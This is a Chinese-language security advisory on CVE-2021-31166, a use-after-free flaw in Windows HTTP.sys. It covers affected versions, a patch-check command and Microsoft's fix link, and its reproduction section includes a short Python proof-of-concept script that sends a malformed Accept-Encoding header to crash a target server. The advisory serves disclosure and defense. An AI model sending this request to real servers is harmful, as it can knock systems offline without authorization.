漏洞名称 : HTTP协议栈远程代码执行漏洞CVE-2021-31166
组件名称 : HTTP.sys
影响范围 :
Windows 10 Version 2004, 20H2
Windows Server version 2004, 20H2
漏洞类型 : 远程代码执行
利用条件
1、用户认证:否
2、前置条件:受害主机启用了HTTP服务
3、触发方式:远程
综合评价
<综合评定利用难度>:困难,在无需授权的情况下可以导致远程服务器拒绝服务,但是要实现代码执行比较困难。 <综合评定威胁等级>:高危,在无需授权的情况下即可实现远程拒绝服务甚至可能可以导致远程代码执行。
组件介绍
超文本传输协议(HTTP)是一个用于传输超媒体文档(例如HTML)的应用层协议。它是为Web浏览器与 Web 服务器之间的通信而设计的,Windows上的HTTP协议栈用于windows上的Web服务器,例如IIS等,若该协议栈相关的组件存在漏洞,则可能导致远程恶意代码执行。
漏洞描述
该漏洞是由于HTTP协议栈相关组件在处理存在多个Accept-Encoding字段的HTTP请求时存在Use-After-Free的漏洞,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行远程代码执行攻击,最终获取服务器最高权限。
HTTP.sys是Windows内核中最为重要的内核模块,是Windows上HTTP协议栈的底层网络驱动,该漏洞影响多个Windows版本
目前受影响的HTTP.sys版本:
Windows 10 Version 2004, 20H2 Windows Server version 2004, 20H2
漏洞复现
搭建Http组件10.0.19041.928版本环境,复现该漏洞,效果如下:
在这里插入图片描述
https://github.com/0vercl0k/CVE-2021-31166
代码语言:javascript复制import requests
import argparse
def main():
parser = argparse.ArgumentParser('Poc for CVE-2021-31166: remote UAF in HTTP.sys')
parser.add_argument('--target', required = True)
args = parser.parse_args()
r = requests.get(f'http://{args.target}/', headers = {
'Accept-Encoding': 'doar-e, ftw, imo, ,',
})
print(r)
main()
打开cmd.exe输入
代码语言:javascript复制systeminfo | findstr "KB5003173 KB4562830 KB5000736"
代码语言:javascript复制若无结果返回则说明没有安装更新补丁。
修复建议
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31166